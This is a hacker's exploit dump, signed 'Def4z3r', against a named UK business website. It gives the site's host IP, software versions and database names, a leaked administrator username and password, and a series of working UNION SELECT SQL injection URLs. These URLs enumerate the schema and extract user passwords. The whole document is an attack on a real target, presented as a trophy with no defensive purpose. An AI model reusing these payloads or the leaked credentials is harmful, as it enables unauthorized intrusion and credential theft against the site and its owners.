www.wrekin-shell-mouldings.co.uk

  ____            __   _  _           _____
 |  _ \    ___   / _| | || |    ____ |___ /   _ __
 | | | |  / _ \ | |_  | || |_  |_  /   |_ \  | '__|
 | |_| | |  __/ |  _| |__   _|  / /   ___) | | |
 |____/   \___| |_|      |_|   /___| |____/  |_|
_---------------------------------------------------------------_
 ---------------------------------------------------------------

# Exploit Title:www.wrekin-shell-mouldings.co.uk
# Google Dork: CO.UK FUCKED !
# Date: I WILL EXPLAIN LATER
# Author: Def4z3r
# Vulnerable Link 1 : http://www.wrekin-shell-mouldings.co.uk/certification.php?id='5
# Version: NEW GENERATION BOYZ 2012
# Tested on: HACKERS TRACK
# CVE : NO EXISTS

     _    _                 _     _   _           _
    / \  | |__   ___  _   _| |_  | | | | ___  ___| |_
   / _ \ | '_ \ / _ \| | | | __| | |_| |/ _ \/ __| __|
  / ___ \| |_) | (_) | |_| | |_  |  _  | (_) \__ \ |_
 /_/   \_\_.__/ \___/ \__,_|\__| |_| |_|\___/|___/\__|
-------------------------------------------------------------

# Trget          : http://www.wrekin-shell-mouldings.co.uk/certification.php?id=5
# Host IP        : 212.100.249.99
# Web Server     : Apache/2.0.52 (Red Hat)
# Powered-by     : PHP/4.3.9
# Injection type : Integer
# Version        : MySQL v 4.1.22-log
# User           : wsmuser@localhost
# Database       : wsmdb


  _____     _     _        _   _                         ____      _
 |_   _|_ _| |__ | | ___  | \ | | __ _ _ __ ___   ___   / ___|___ | |_   _ _ __ ___  _ __  ___
   | |/ _` | '_ \| |/ _ \ |  \| |/ _` | '_ ` _ \ / _ \ | |   / _ \| | | | | '_ ` _ \| '_ \/ __|
   | | (_| | |_) | |  __/ | |\  | (_| | | | | | |  __/ | |___ (_) | | |_| | | | | | | | | \__ \
   |_|\__,_|_.__/|_|\___| |_| \_|\__,_|_| |_| |_|\___|  \____\___/|_|\__,_|_| |_| |_|_| |_|___/
-----------------------------------------------------------------------------------------------------

# Vulnerable Selected Column Count is 17
# Vulnerable Valid String Column is 3
# Target Vulnerable :D

     _       _           _       _     _             _
    / \   __| |_ __ ___ (_)_ __ (_)___| |_ _ __ __ _| |_ ___  _ __
   / _ \ / _` | '_ ` _ \| | '_ \| / __| __| '__/ _` | __/ _ \| '__|
  / ___ \ (_| | | | | | | | | | | \__ \ |_| | | (_| | |_ (_) | |
 /_/   \_\__,_|_| |_| |_|_|_| |_|_|___/\__|_|  \__,_|\__\___/|_|
------------------------------------------------------------------------

user name : admin
user id   : 30
password  : bn1gf5dd


  ____        _
 |  _ \  __ _| |_ __ _ ____
 | | | |/ _` | __/ _` |_  /
 | |_| | (_| | |_ (_| |/ /
 |____/ \__,_|\__\__,_/___|
------------------------------------------

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=-5 union all select 1,2,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata--

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=-5 union all select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=-5 union all select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=-5 union all select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=-5 union all select 1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

# http://www.wrekin-shell-mouldings.co.uk/certification.php?id=5 and 1=0 union select 1,2,concat(user_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 FROM users --


   ___    ____                       _ _
  / _ \  / ___|  ___  ___ _   _ _ __(_) |_ _   _
 | | | | \___ \ / _ \/ __| | | | '__| | __| | | |
 | |_| |  ___) |  __/ (__| |_| | |  | | |_| |_| |
  \___/  |____/ \___|\___|\__,_|_|  |_|\__|\__, |
                                           |___/
------------------------------------------------------